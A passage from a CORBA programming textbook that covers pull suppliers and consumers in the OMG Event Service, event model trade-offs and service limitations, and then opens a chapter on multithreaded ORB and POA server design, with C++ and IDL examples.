deactivates. 
       
PullSupplier_impl:: 
PullSupplier_impl( 
    CORBA::ORB_ptr orb 
) : m_orb(CORBA::ORB::_duplicate(orb)) 
{ 
    // Intentionally empty 
} 
 
void 
PullSupplier_impl:: 
disconnect_pull_supplier() 
throw(CORBA::SystemException) 
{ 
    CORBA::Object_var obj = 
        m_orb->resolve_initial_references("POACurrent"); 
    PortableServer::Current_var current = 
        PortableServer::Current::_narrow(obj); 
    PortableServer::POA_var poa = current->get_POA(); 
    PortableServer::ObjectId_var oid = current->get_object_id(); 
    poa->deactivate_object(oid); 
} 
 
CORBA::Any * 
PullSupplier_impl:: 
pull() 
throw(CORBA::SystemException, CosEventComm::Disconnected) 
{ 
    // For our Queue, the front() call blocks until a data item 
    // exists at the front of the queue. 
    CCS::TStatEvent * event_data = m_queue.front(); 
    m_queue.pop(); 
 
    CORBA::Any_var any = new CORBA::Any; 
    any <= *event_data; 
    delete event_data; 
 
    return any._retn(); 
} 
 
CORBA::Any * 
PullSupplier_impl:: 
try_pull(CORBA::Boolean & has_event) 
throw(CORBA::SystemException, CosEventComm::Disconnected) 
{ 
    CORBA::Any_var any = new CORBA::Any; 
    CCS::TStatEvent * event_data; 
    has_event = m_queue.try_pop(event_data); 
 
    if (has_event) { 
        any <= *event_data; 
         delete event_data; 
    } 
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   return any._retn(); 
} 
 
      
Both the pull and the try_pull methods access the event queue. Invoking front on 
the queue returns immediately if there are event data already present; otherwise, it blocks 
waiting for event data to be pushed into the queue. Because pull blocks if no event data 
are available, it performs the blocking by simply invoking the blocking front function 
on the queue. However, try_pull must not block if no event data are available. It 
therefore uses the non-blocking try_pop function to try to retrieve an event from the 
queue. If the queue is not empty, the try_pop function sets its argument to point to the 
popped event data and returns true; otherwise, it returns false. If try_pop returns true, 
then has_event is true, and the try_pull method inserts the popped event into the 
CORBA::Any return value and returns. Otherwise, has_event is set to reflect the 
empty queue, so a CORBA::Any containing no value is returned. 
 
Finally, the set_nominal method of the Thermostat_impl servant class pushes an 
event onto the PullSupplier_impl servant by invoking its 
thermostat_changed member function. Following is the modified implementation 
of set_nominal. 
       
CCS::TempType 
Thermostat_impl:: 
set_nominal(CCS::TempType new_temp) 
throw(CORBA::SystemException, CCS::Thermostat::BadTemp) 
{ 
    // Set the desired temperature to new_temp (not shown). 
   
    // Push our event data into the PullSupplier_impl servant. 
    // Assume m_servant points to the PullSupplier_impl instance. 
    CCS::Thermostat_var ts = _this(); 
    CORBA::String_var loc  = location(); 
    m_servant->thermostat_changed(ts, m_anum, loc, new_temp); 
    return new_temp; 
} 
 
void 
PullSupplier_impl:: 
thermostat_changed( 
    CCS::Thermostat_ptr ts, 
    CCS::AssetType      asset_num, 
    const char *        location, 
    CCS::TempType       temp 
) 
{ 
    CCS::TStatEvent * event_data = new CCS::TStatEvent; 
    event_data->ts        = CCS::Thermostat::_duplicate(ts); 
    event_data->asset_num = asset_num; 
    event_data->location  = location; 
    event_data->temp      = temp; 
 
    m_queue.push(event_data); 
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} 
 
      
The thermostat_changed function heap-allocates a TStatEvent data structure, 
fills its fields with the arguments passed to it from 
Thermostat_impl::set_nominal, and pushes the event data into the queue. 
 
As this example shows, dealing with the need to buffer events in a pull supplier can be 
complicated. Even though we simplify things by using a thread-safe Queue class to hold 
unpulled events, this pull supplier example is more complicated than any of the other 
supplier and consumer examples. 

20.6.5 Implementing a Pull Consumer 

Like a push supplier, a pull consumer need not be implemented as a CORBA object. Any 
ordinary C++ class or function can pull events from an event channel. Therefore, if we 
want to have our thermostat monitoring application retrieve events by pulling, we can 
implement the functionality as part of our windowing event loop. The following example 
shows a simplified event loop that repeatedly checks for thermostat events and for GUI 
events. We assume that neither the check_for_thermostat_event function nor 
the check_for_gui_event function enters a busy loop or blocks for any 
considerable amount of time. 
       
// Assume the "channel" variable refers to our event channel. 
CosEventChannelAdmin::ConsumerAdmin_var consumer_admin = 
    channel->for_consumers(); 
 
// Obtain a ProxyPullSupplier from the ConsumerAdmin and connect. 
CosEventChannelAdmin::ProxyPullSupplier_var supplier = 
    consumer_admin->obtain_pull_supplier(); 
supplier->connect_pull_consumer( 
    CosEventComm::PullConsumer::_nil() 
); 
bool done;                  // Now enter our GUI event loop. 
do { 
    check_for_thermostat_event(supplier); 
    done = check_for_gui_event(); 
} while (!done); 
 
      
First, we call for_consumers on our event channel, which returns a 
ConsumerAdmin_ptr that we use to invoke the obtain_pull_supplier method. 
We store the object reference returned from obtain_pull_supplier in the 
supplier variable, which we pass to our event polling function. To keep the example 
simple, we use a C-style function to implement the 
check_for_thermostat_event helper function, which performs event polling. 
       
void 
check_for_thermostat_event( 
    CosEventComm::PullSupplier_ptr supplier 
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) 
{ 
    CORBA::Boolean has_event; 
    CORBA::Any_var any = supplier->try_pull(has_event); 
    if (has_event) { 
        CCS::TStatEvent * event_data; 
        if (any >>= event_data) { 
            // Use values from the event data 
            // struct here (not shown). 
        } 
    } 
} 
 
      
The check_for_thermostat_event function takes a PullSupplier_ptr as 
an argument, so we pass our ProxyPullSupplier to it. Because 
ProxyPullSupplier is derived from PullSupplier, automatic widening occurs 
when we pass the supplier variable to check_for_thermostat_event. To 
avoid blocking our GUI event loop and preventing windowing updates, 
check_for_thermostat_event always performs a try_pull on the supplier. 
Unlike the pull method, try_pull will not block waiting for an event if none is 
available. After invoking try_pull, we check the value of the has_event Boolean 
out argument to see whether an event was actually returned. If this argument is true, we 
then attempt to extract a pointer to a CCS::TStatEvent struct from the returned 
CORBA::Any. If this succeeds, our code can access the event data via the extracted 
structure pointer. Otherwise, the event data is not of the type we expect, and we ignore it. 

20.7 Choosing an Event Model 

In Section 20.4 we define the following four event delivery models: 
canonical push model 
canonical pull model 
hybrid push/pull model 
hybrid pull/push model 
When you develop an application that uses the Event Service, you must choose the model 
that is most appropriate for it. Your choice is affected not only by the characteristics of 
these models but also by the nature of your application and by issues related to event 
channel implementation. 

20.7.1 Event Channel Implementation 

Ultimately, much of the robustness and performance of an event-based system depends 
on the implementation of the event channel. The OMG Event Service Specification does 
not define requirements for key event channel characteristics, instead leaving design 
choices for each event channel implementation to those who create it. Although this 
approach makes the specification very flexible in terms of the environments it can 
support, it also means that the quality of service provided by event channels varies widely. 
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One key characteristic of an event channel is throughput. If your application handles high 
rates of event delivery, you should evaluate your event channel implementation to 
determine how quickly it can deliver events. If we ignore the effects of multiple suppliers 
and consumers, the time required for an event channel to receive an event and push it out 
is mostly dependent on how efficiently the underlying ORB handles the IDL any type. 
Different ORBs use different techniques to marshal and unmarshal the any type, and 
some techniques are much more efficient than others. Some ORBs are highly tuned for 
any handling, but others do only an adequate job in this regard. We advise you to 
carefully measure the efficiency of your event channel before deploying a high-volume 
event-based production system on it. 
 
The number of consumers and suppliers connected to an event channel can also influence 
its throughput. When an event arrives, the event channel must make that event available 
to each consumer that is connected. Delivery to each push consumer requires a separate 
CORBA request invocation from the event channel to the consumer; for pull consumers, 
the channel must buffer the event until the consumer requests it. Also, the more suppliers 
that are connected, the more events there are to receive and transmit to the consumers. 
Unless the event channel uses proprietary multicast protocols, which some of them do, 
there is simply no way around this limitation. 
 
Although we speak of suppliers and consumers as being "connected" to the event channel, 
we do not mean to imply that these are necessarily network connections. Because 
operating systems impose limits on the number of open network connections a process 
can have, a quality event channel implementation must be able to handle more consumers 
and suppliers than it has network connections. For push suppliers and pull consumers, the 
event channel acts as a server, and this means that it can perform an orderly shutdown of 
one of these clients if it wants to reuse that connection for another supplier or consumer. 
Such a shutdown is transparent to the client ORB, which attempts to establish a new 
connection when it needs to push or pull a new event. For pull suppliers and push 
consumers, the event channel acts as a client, so in the extreme case it can open a 
network connection, send the request, and then immediately close the connection. 
Establishing and reestablishing connections in the ways described here can be costly, so 
be sure that the underlying operating system can support the necessary number of 
connections to your event channel. 
 
Event channel implementations vary in what they store persistently. Most of them at least 
remember connection information so that consumer and supplier connections can be 
transparently restored if the event channel is stopped and restarted. Some 
implementations also persistently store event data that has not yet been pushed to or 
pulled from particular consumers. This is especially important for pull consumers that do 
not pull events very frequently. 
 
Event channel implementations also must be able to deal with suppliers and consumers 
that are not well behaved. A pull supplier or push consumer that crashes should not cause 
the event channel to hang indefinitely waiting for a response. That would prevent other 
suppliers and consumers from getting their events handled in a timely manner. A quality 
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event channel implementation allows characteristics, such as time-outs and the number of 
retries, to be configured through either a configuration subsystem, environment variables, 
or start-up options. 

20.7.2 Push Model Considerations 

Suppliers usually use the push model, primarily because it allows them to avoid the 
buffering needed when supporting the pull model. In some sense it is also the more 
natural and efficient of the two models. Suppliers usually want to notify all interested 
parties of an event as soon as it occurs, and the push model allows them to do that. Its 
efficiency arises from the fact that it avoids the overhead of polling. 
 
A push supplier need not implement any CORBA objects unless it wants to be explicitly 
notified when disconnection occurs. This is ideal for applications that cannot support 
server functionality, perhaps for licensing, deployment, or security reasons. Unlike a push 
supplier, however, an application hosting a push consumer must be able to act as a server 
and receive events as they are generated. 

20.7.3 Pull Model Considerations 

Because this model relies entirely on polling for event delivery, it suffers from the 
problem of having to buffer events. For consumers that pull events infrequently, pull 
suppliers whose event buffers fill up must discard events. Choosing which events to 
discard depends entirely on the application. Some pull suppliers might want to discard the 
oldest events first, whereas others might stop accepting events after their buffers have 
filled. Still others might keep only the first one of several events that arrive within a 
certain timeframe, based on the likelihood that the second and subsequent events are 
duplicates of the first one. 
 
Because this model relies on polling, excessive network traffic can be a problem if pull 
consumers poll for events frequently. To avoid polling, a pull consumer can invoke the 
blocking PullSupplier::pull operation rather than use the non-blocking 
try_pull. This approach reduces the amount of network traffic. However, for pull 
suppliers that are hosted by thread-per-request servers, it can result in the creation of a 
large number of threads in the server to handle these requests. Moreover, if the event data 
are not readily available in the pull supplier, each blocking pull request will require its 
thread to exist until the supplier has an event, using even more application resources. If 
the server uses a fixed-size thread pool, this situation could result in all available threads 
being blocked because of pull requests. 
 
This model does not require pull consumers to act as servers, so it is suitable for use with 
pure clients that consume events. 

20.8 Event Service Limitations 
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Using an implementation of the Event Service can off-load the complicated task of 
reliable event delivery with multiple consumers and suppliers, but the OMG Event 
Service is not without limitations. Some of these limitations are explained in the 
following sections. 

20.8.1 Multiple Suppliers 

Because multiple suppliers can connect to an event channel, consumers may end up 
receiving far more events than they are interested in. This is because event channels 
deliver all events to all consumers; each consumer receives all events from all suppliers 
connected to the same event channel. Fortunately, type-safe extraction of event data from 
the IDL any type helps prevent consumers from acting on events that were not intended 
for them. However, it is a waste of resources for the event channel to send all events to all 
consumers only to have some of them discard the event data. The event channel may 
have to persistently store such events before they can be delivered and then use time and 
network connections in performing the deliveries. The network bandwidth required to 
transmit the events is also wasted. 
 
You can alleviate this problem by setting up separate event channels for each type of 
event so that consumers that want to receive events from multiple sources can register 
with multiple event channels. Minimizing the number of event suppliers connected to 
each channel is also helpful, especially if there is only a single supplier per channel. 

20.8.2 Lack of Reliability 

When you design event-based applications, it is extremely important to keep in mind that 
event channels are fundamentally unreliable. Their lack of reliability stems from the 
difficulty of providing end-to-end guaranteed delivery in a service in which the channel 
has no way to throttle the supplier. If a supplier pushes so many events that the event 
channel cannot keep up with delivering all of them to its consumers, the event channel 
has no choice except to drop some of the events. 

20.8.3 Lack of Filtering 

Even if an event channel has only a single supplier connected to it, clients may still 
receive events in which they have no interest. This is because event channels pass events 
from their suppliers to their consumers without attempting to interpret event data in any 
way. 
 
If an event channel could somehow filter events for each consumer, it could avoid the 
costs associated with sending unwanted events. Fortunately, the OMG has adopted the 
Notification Service [26], which supplies not only event filtering features but also 
structured event types and various degrees of control over the quality of service that an 
event channel provides. Furthermore, its interfaces inherit from the Event Service 
interfaces we describe in this chapter, allowing you to introduce a Notification Service 
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implementation into a working system without disrupting existing event-based 
applications. 

20.8.4 Lack of Factory Considerations 

Event channels are CORBA objects, and, as with all other objects, you must create one 
before you can use it. You usually create objects using some sort of factory, either 
programmatically by invoking the factory from your application or manually by running 
a command-line program or a GUI-based tool. 
 
The Event Service does not specify anything having to do with event channel factories. 
This behavior allows each vendor that supplies event channel implementation complete 
freedom as to how it has you create and administer its event channels, but it also prevents 
you from easily writing portable event channel factories for your applications. 
Furthermore, event channel implementations vary considerably in how much control they 
provide for configuring their behavior. This makes it even more difficult for you to write 
your own event channel factory portability layer that reasonably handles event channel 
quality-of-service and configuration settings. 

20.8.5 Asynchronous Messaging 

In some cases, applications do not require decoupled communications; instead, they 
require asynchronous messaging or time-independent invocation. Asynchronous 
messaging allows an application to issue a request without blocking for the response; 
later, it receives the response either by a callback from the ORB or by polling. With time-
independent invocation, a client can make a request, disconnect from the network, and 
then reconnect later and get the response. This is useful for applications such as those that 
run on laptops or other portable computers. You can implement limited asynchronous 
messaging using the Dynamic Invocation Interface, but it is generally too cumbersome to 
use. 
 
Because the Event Service was not designed to support either asynchronous messaging or 
time-independent invocation, the OMG has developed a CORBA Messaging Service 
[20]. This service provides programming language stubs that support asynchronous 
invocations. It also defines extensions to the GIOP protocol that can handle the storing 
and forwarding of requests and responses to support interoperable time-independent 
invocation. If you are thinking about using the Event Service because you need 
asynchronous messaging or time-independent invocation, you should check with your 
ORB vendor to see whether it supports CORBA Messaging. 

20.9 Summary 

Synchronous requests are too restrictive for some applications, but alternatives, such as 
deferred synchronous requests, oneway requests, and distributed callbacks, can cause 
more problems than they cure. Deferred synchronous requests are too cumbersome to 
program (because they are only available using the DII), oneway requests are not 
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reliable, and distributed callbacks do not scale well as the number of registered 
consumers increases. 
 
The OMG Event Service allows for decoupled communications between event suppliers 
and event consumers. At the heart of an Event Service implementation is the event 
channel, which receives events from suppliers and dispatches them to consumers while 
keeping suppliers and consumers isolated from one another. Event channels support both 
push and pull models for event delivery, and for maximum flexibility they also allow the 
models to be mixed. Suppliers, consumers, and event channels handle event data in the 
form of the IDL any type, which enables event-based applications to send and receive 
domain-specific event data without requiring event channels to understand those data 
types. 
 
The Event Service is not without drawbacks, however. For example, it does not provide 
support for event filtering, and that means that all events are conveyed to all consumers 
whether or not they are interested in them. The OMG specification does not require event 
channels to persistently store supplier and consumer registrations or undelivered event 
data; implementations that lose registrations and events whenever they are restarted can 
be difficult to use. Event channel implementations are also free to set their own limits for 
event queue lengths and time-outs. These problems can make the deployment and 
maintenance of event-based applications difficult. 
 
To address some of these issues, the OMG has adopted the Notification Service and the 
CORBA Messaging Specification. Notification extends the Event Service to supply 
filtering and to address quality-of-service issues. CORBA Messaging provides 
asynchronous messaging, time-independent invocation, and standard interoperable store-
and-forward routing protocols. Together, the Event Service, the Notification Service, and 
CORBA Messaging provide viable alternatives for applications for which synchronous 
requests are unsuitable. 
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Part VI: Power CORBA 

Chapter 21. Multithreaded Applications 

21.1 Chapter Overview 

In this chapter we explore issues related to multithreaded CORBA applications. Section 
21.3 explains the benefits that multithreading brings to CORBA applications. Sections 
21.4 and 21.5 discuss fundamental multithreading techniques and explain how the 
ORB and POA help support them. In Section 21.6 we convert the servant locator 
example first presented in Chapter 12 to work properly in the presence of multiple 
threads. Finally, in Section 21.7 we briefly discuss multithreading problems related to 
servant activators. 

21.2 Introduction 

Practical CORBA applications must be able to scale well in several dimensions. These 
dimensions include the number of objects that an application can support, the number of 
requests it can handle simultaneously, the number of connections it allows, and the 
amount of CPU and memory resources it uses. 
 
One important method of making applications scale well is to employ multithreaded 
programming techniques. Although multiple threads allow true concurrent programming 
only on multi-CPU machines, using them can simplify program logic as well as enhance 
program scalability and performance. 
 
This chapter provides a high-level overview of how multithreaded programming 
techniques can be used to develop CORBA applications. We do not intend to provide an 
in-depth tutorial on threads because doing this properly would itself require a book. 
Fortunately, a number of good books and articles on multithreaded programming and 
concurrency for distributed applications exist [2] [10] [12>] [35] [36] [37], and we 
recommend that you read and study them if you need to brush up on your multithreaded 
programming skills. 

21.3 Motivation for Multithreaded Programs 

Ordinarily, processes on commonly used operating systems such as Windows NT and 
various flavors of UNIX are single-threaded. All actions taken by a single-threaded 
process, from accessing a variable on the run-time stack to sending and receiving network 
packets through a socket, are performed by the single thread of control that runs within 
the process. 
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Unfortunately, it is often difficult to develop and use server applications that use only a 
single thread of control. The following sections explain why. 

21.3.1 Request Serialization 

When only a single thread is available, the server must serialize the processing of client 
requests. New requests arriving at the server are queued in the POA that hosts the target 
object. As described in Chapter 11, a POA with the SINGLE_THREAD_MODEL value 
for its ThreadPolicy must be capable of queuing incoming requests while an object is 
already busy processing a request. 
 
If processing any request takes a long time, it prevents the processing of all other requests 
for objects in the same POA. It is thus possible for the request queue in the POA to grow 
too large. If this occurs, the POA raises a TRANSIENT exception back to the client to tell 
it to retry the request, with the hope that the number of queued requests will have been 
reduced by the time the retry is received. 

21.3.2 Event Handling 

Because server applications wait for requests to arrive on their advertised network ports, 
they are often described as reactive [34]. To detect when requests arrive, most ORB 
implementations employ an event loop to monitor their network connections. For 
example, ORB implementations often use the UNIX select system call to watch for 
events occurring on the set of file descriptors corresponding to the server's network 
connections. When a request arrives, the ORB reacts by dispatching the request to the 
application so that it can be carried out. 
 
For event handling to occur properly, the ORB must be able to gain the thread of control 
from time to time. Unfortunately, if a long-running request ties up the single thread doing 
other things, such as performing a complicated calculation, it denies the ORB the ability 
to wait for requests; the server cannot read incoming messages from its network 
connections. When this occurs, it can cause the network transport to apply flow control to 
make the clients' network transports stop sending messages. If each client ORB continues 
to attempt to send requests under these conditions, it will start getting errors from its own 
network transport layer and thus each client also may have to buffer requests. Thus, a 
single long-running request can deny service to numerous clients. 
 
One way to prevent these conditions is to ensure that no requests take a long time to 
complete. If the nature of a request is such that it will take a while to process, the request 
can be broken up in two ways. 
 
Break the IDL operation into two parts: one to start the request and the other to obtain the 
results. For example, assume that an interface has one operation that we know will take a 
long time to execute. 

•          
• interface Rocket { 
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•     typedef sequence<octet> Telemetry; 
•      
•     Telemetry get_all_telemetry(); 
• }; 
•  

        
If the target Rocket object is being flown only for a few minutes, it might be practical 
to have the implementation of get_all_telemetry simply wait for its flight to 
complete and then return all the telemetry data in one chunk. If the rocket is heading for 
the moon, however, this approach is clearly not practical. 
 
Breaking the operation into two parts might yield an interface that looks like this: 

         
interface Rocket { 
    typedef sequence<octet> Telemetry; 
   
  void start_gathering_telemetry(); 
    Telemetry get_telemetry(out boolean no_more_data); 
}; 
 
        

We first invoke start_gathering_telemetry to tell the target Rocket that we 
intend to start requesting telemetry data. When we want data we invoke 
get_telemetry, which returns the data if there are any and sets the no_more_data 
argument to true if telemetry collection has completed. 
 
This approach lets the implementation of the start_gathering_telemetry 
operation set a flag or create a work item that indicates that telemetry should be collected; 
then it immediately returns. When our client invokes the get_telemetry method, its 
implementation can return whatever data have been collected to that point, setting 
no_more_data appropriately. The server application can thus switch between 
gathering telemetry and allowing the ORB to listen for requests (by invoking 
ORB::perform_work as described in Section 11.11.2) without allowing either 
activity to block the other. 
 
Break the interface into two parts instead of splitting the operation: 

•          
• typedef sequence<octet> Telemetry; 
•  
• interface TelemetrySubscriber { 
•     void new_telemetry(in Telemetry data); 
•     void telemetry_complete(); 
• }; 
•  
• interface Rocket { 
•     void start_gathering_telemetry( 
•              in TelemetrySubscriber subscriber 
•          ); 
• }; 
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•  
        

This approach, usually referred to as publish/subscribe, relies on the server publishing 
information in a callback to the subscribing client. A client that wants to receive 
telemetry implements an object that supports the TelemetrySubscriber interface and 
passes its reference to the start_gathering_telemetry operation. The server then calls back 
to the TelemetrySubscriber object's new_telemetry operation in the client whenever it has 
data to send. When there is no more telemetry, the server informs the client by invoking 
telemetry_complete on the TelemetrySubscriber object. 
 
Unfortunately, these two approaches share a common problem: the implementation of the 
system dictates its interface. Our implementation of the telemetry-fetching operation 
suffers from problems because it is single-threaded and takes a long time to complete, but 
that should not force us to redesign our interfaces to accommodate it. 
 
Another problem with our redesigned interfaces is that they rely on callbacks. Distributed 
callbacks are fraught with problems, as we describe in Section 20.3. Furthermore, 
unless a single-threaded ORB is careful to use non-blocking I/O when waiting for replies, 
distributed callbacks can easily cause deadlock. For example, suppose that a single-
threaded client sends a request to a server and then blocks reading its network port 
waiting for the reply. If the server attempts to call back to the client, deadlock will occur. 
That's because the server is trying to talk to the client to carry out the original request, but 
the client is busy waiting for the server to reply to the original request. Each one is 
preventing the other from proceeding. It is possible to design single-threaded ORBs to 
avoid this kind of deadlock, but you should be aware that not all ORBs provide this 
capability. 

21.3.3 Evaluating Single-Threaded Servers 

Redesigning our telemetry retrieval interfaces to avoid problems due to single-threaded 
operation indicates that we have a problem. Specifically, it indicates the application 
convolution that results from attempting to write reactive systems without multiple 
threads. As the complexity of the application increases, it becomes more and more 
difficult to ensure that all tasks in the system are getting their share of the single thread. 
Artificial boundaries begin to appear where one task explicitly yields the single thread to 
other tasks. Preventing task starvation becomes more and more difficult, and maintenance 
becomes complicated because each modification of the program requires analysis to 
ensure that it does not introduce task starvation. 
 
All in all, single-threaded operation is fine for servers that are used by only a few clients 
for short-duration requests. Pure client applications, which contain no CORBA objects, 
also work well when single-threaded, especially when they perform only synchronous 
request invocations. High-performance servers, on the other hand, are usually 
multithreaded. 

21.3.4 Benefits of Multithreaded Programming 
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Using multithreaded programming techniques to implement server applications provides 
benefits such as the following. 
Simplified program design 
Multiple server tasks can proceed independently, and no artificial task-switching 
boundaries need be maintained in the application. 
Improved throughput 
On multiprocessor hardware, the operating system assigns multiple threads to different 
CPUs, thus achieving true concurrency. 
Improved response time 
Clients need not worry about their requests being starved for attention or denied because 
of long-running requests from other clients. 
In the next section we explain how multithreaded programming techniques provide these 
and other benefits. 

21.4 Fundamentals of Multithreaded Servers 

The problems with single-threaded applications described in the preceding section 
indicate that distributed applications do not perform or scale well if they are designed and 
written to use a single thread of control. As we explain in this section, using preemptive 
multithreading instead provides a much more elegant, and potentially more efficient, 
means of supporting scalable server applications. 
 
With preemptive multithreading, the underlying operating system kernel or a special 
threading library controls the scheduling of threads to allow them to execute their tasks. 
A slice of CPU time is given to each thread. When the thread either uses up its time slice 
or makes a blocking call such as reading from a socket, the scheduler preempts the thread 
and allows another one to run. This arrangement relieves programs of the added 
complexity of ensuring that all necessary tasks get the CPU time they need to complete. It 
also allows orthogonal parts of the application to remain wholly separate, permitting you 
to implement and maintain them without fear of compromising the correctness of the 
application because of task starvation. 
 
Most portions of a server application are affected by the use of multithreading, including 
the ORB and POAs, servant implementations, and third-party and system libraries. When 
we say that a portion of an application is "affected," we do not mean to imply that it 
becomes full of invocations of arcane multithreading functions. Instead, we mean that 
you must keep the following two points in mind. 
 
You must take the presence of multithreading into account in all areas of your application 
that you are responsible for writing. 
 
For third-party and system libraries, the ORB, and POAs, you must understand the 
implications of invoking their functions in a multithreaded environment. 
 
Applications must be designed explicitly to support and use multithreading. A program 
designed to execute with only a single thread of control will almost certainly fail to work 
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correctly in a multithreaded environment. Such a program usually requires significant 
redesign and rework to make it handle multiple threads effectively. 
 
In the following sections we explain the effects of using multiple threads on the various 
portions of server applications. 

21.4.1 ORB Infrastructure Multithreading Issues 

Multithreaded ORB implementations have available a wide variety of options for 
handling requests. As we discuss in Section 21.3, single-threaded ORBs must perform 
non-blocking I/O, request queuing, and explicit task switching, thus limiting their 
flexibility and configurability. Multithreaded ORBs, on the other hand, can support 
different strategies [38] for request dispatching, even simultaneously. The use of 
multiple threads allows the ORB to separate concerns. 
 
For example, one implementation of a multithreaded ORB core might have a single 
thread, called a listener thread, that listens for requests. When a request arrives, the 
thread reads the entire network message containing the request and all its arguments and 
places it in a request queue. The other end of the queue might be monitored by a pool of 
threads that wait for requests to appear in the queue. When a request is put into the queue 
by the listener thread, a thread from the pool removes it from the queue and takes charge 
of dispatching it to the right POA and eventually to the right servant. 
 
Another ORB core implementation might choose instead to use multiple listener threads, 
with each thread listening to a single network port. Still another might choose to create a 
new thread to handle each incoming request. Other variations are also possible, such as 
mixing support for multiple strategies into a single ORB core. 
 
As you might imagine, each solution for applying threads to the processing of requests 
has its own benefits and drawbacks. 
 
A thread-per-request solution, in which a new thread is spawned for each incoming 
request, works well for servers that receive a low volume of long-running requests. 
Because each request executes in its own thread, it will not block other requests from 
being processed no matter how long it takes to complete. However, if too many requests 
are in progress simultaneously, the server application might use excessive resources 
because of the presence of too many threads. 
 
A thread-per-connection approach, in which a different thread is used for each separate 
client connection, works well for applications in which clients invoke numerous requests 
on the same server over a lengthy period. This technique avoids the cost of creating a 
new thread for each request as in the thread-per-request approach. However, if the server 
has a lot of clients, it could result in many threads being created to handle them. Also, if 
client connections are short-lived, this solution approaches the thread-creation overhead 
of the thread-per-request model. 
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A thread pool solution involves spawning a number of threads at server startup and then 
assigning incoming requests to non-busy threads as they arrive. If all threads in the pool 
are already busy handling requests, either the request can be queued until a thread 
becomes available to handle it, or new threads can be created and added to the pool. This 
model works well for servers that want to bound their request-handling resources, 
because all the necessary threads and queues can be allocated at program start-up. One 
drawback to this approach is that switching requests from one thread to another via a 
queue can result in excessive thread context switching overhead. Also, if the server 
allocates insufficient resources to handle the volume of requests it receives, queues could 
become filled, and incoming requests might have to be temporarily rejected. 
 
Detailed analyses of other threading models and variations on the models described here 
can be found in [38]. 

21.4.2 POA Multithreading Issues 

After the ORB core dispatches a request to the POA where the target object is located, 
the threading policy of the POA must be taken into account. As explained in Section 
11.4.7, a POA can have either the SINGLE_THREAD_MODEL value or the 
ORB_CTRL_MODEL value for its ThreadPolicy. How the POA completes the request 
dispatch to the appropriate servant depends entirely on its ThreadPolicy value. 
 
When a POA has the SINGLE_THREAD_MODEL policy value, it guarantees that all 
servant invocations will be serialized. Even if the underlying ORB and other POAs in the 
same server use multiple threads, a POA created with the SINGLE_THREAD_MODEL 
policy value never performs request dispatching on multiple servants simultaneously. If 
the underlying ORB is multithreaded, a SINGLE_THREAD_MODEL POA must be able 
to switch incoming requests onto the single thread it uses for all servant dispatching. 
Application designers should beware that switching requests from one thread to another 
results in thread context switching overhead. Also, on some platforms 
SINGLE_THREAD_MODEL POAs must perform their dispatching using the main thread 
(the one in which the program's main function was invoked); otherwise, calling code 
that is unaware of multithreading (perhaps because it was not compiled with the proper 
options) will not work correctly. In this case, it is the responsibility of the application to 
invoke ORB::perform_work or ORB::run to ensure that the ORB allows the POAs 
to get access to the main thread. 
 
When you perform collocated requests from within the same application on objects in 
SINGLE_THREAD_MODEL POAs, be sure that your vendor's POA implementation 
properly conforms to the specification. Even requests made locally must be dispatched on 
the POA's single thread rather than dispatched directly using the caller's thread. If your 
ORB bypasses the dispatching mechanisms for collocated requests when calling objects 
in SINGLE_THREAD_MODEL POAs, perhaps by invoking virtual functions directly on 
the servant, it does not conform to the specification. 
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POAs created with the ORB_CTRL_MODEL threading policy value are far less 
constrained with respect to request dispatching than their single-threaded counterparts. 
The ORB_CTRL_MODEL policy value only implies that the POA is allowed to dispatch 
multiple requests concurrently; it does not prescribe how requests are assigned to threads. 
This means that an ORB_CTRL_MODEL POA might be implemented to use its own 
threading policy independent of that of the underlying ORB, or it might be implemented 
to fit seamlessly with the model used by the ORB. 
 
The POA might use the thread pool model. In that case, it has its own pool of threads and 
its own queue for holding requests when all its threads are busy. This approach works 
well except for the price of switching requests from one thread to another. Also, there is 
always the possibility that the volume of requests that the POA receives will far outstrip 
the dispatching capacity of its thread pool, thus requiring requests to be temporarily 
rejected. 
 
A POA might use a thread-per-servant approach, creating a new thread for each servant 
added to its Active Object Map. In this approach, the POA dispatches all requests for a 
given servant on that servant's thread. This technique performs well if the set of servants 
in a POA is relatively fixed and small. Otherwise, a POA that has either many registered 
servants or many servants that are only briefly registered and then destroyed may incur 
too much thread creation overhead, or it may try to create too many threads at once. 
 
Using the thread-per-request model means that the POA creates a new thread for each 
incoming request. This approach works well only if the POA receives a relatively low 
volume of long-running requests. Otherwise, the overhead of creating many threads or 
having too many threads active simultaneously becomes too great. 
 
A POA might simply continue the request dispatch on the same thread that the ORB used 
to dispatch the request from the network port it was received on. This approach avoids 
the cost of switching the request processing from one thread to another, but it ties up an 
ORB thread for the duration of the request and prevents it from being used to do other 
ORB work. 
 
Each POA in a group of POAs sharing a single POAManager might rely on it to supply 
a request-dispatching thread. This technique merely pushes the multithreading issues 
from the POA to the POAManager, and it might also mean increased contention for 
threading resources if the POAManager is controlling request flow for multiple POAs. 
Other request-dispatching strategies are also possible for ORB_CTRL_MODEL POAs. 
Depending on their policies, different POAs in the same server application might even 
employ different strategies. 
 
Because the POA specification does not require any particular threading model for 
ORB_CTRL_MODEL POAs, POA implementers are permitted to use any of these 
approaches, or any other approach that they deem useful. Although this arrangement 
provides maximum flexibility for POA implementers, it makes it impossible to write 
portable applications that make assumptions about the underlying POA threading model. 
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This implementation freedom benefits application developers by enabling ORB vendors 
to compete with one another. At the same time, however, it makes it difficult for 
application developers to make important implementation decisions, such as how many 
POAs their applications should have, how many CORBA objects to create under each 
POA, whether to use a single servant per object or to make a single servant incarnate 
multiple objects, and how in general to distribute their objects across multiple servers. 
Being able to control, or at least being able to know, the multithreading strategies of the 
underlying ORB and POA enables developers to make more informed architectural, 
design, implementation, and deployment decisions, thus improving the overall scalability 
and performance of their distributed systems. 
 
Fortunately, it is possible for the OMG to extend the set of ThreadPolicy values to 
address this shortcoming by adding new policy values that identify specific threading 
models, such as THREAD_PER_SERVANT or THREAD_POOL. Such policy values 
would provide applications with explicit control over the assignment of requests to 
threads. As of this writing, the POA specification is still very new, however, so new 
policy values such as these are not likely to be added until the CORBA community gains 
additional practical experience with how to best use the POA. For the time being, you 
must ask your ORB vendor if you want to find out how your ORB implements the 
ORB_CTRL_MODEL policy. 

21.4.3 Servant Multithreading Issues 

Because a POA having the ORB_CTRL_MODEL value is permitted to dispatch multiple 
requests concurrently to the same servant, the presence of multithreading has a strong 
influence on how you must design and implement your servants. To perform requests, 
almost all servants access either their own data members or state variables shared 
between objects. Access to all such state must be carefully serialized and synchronized 
among threads so as to avoid corrupted data that causes method implementations to 
return garbage results. 
 
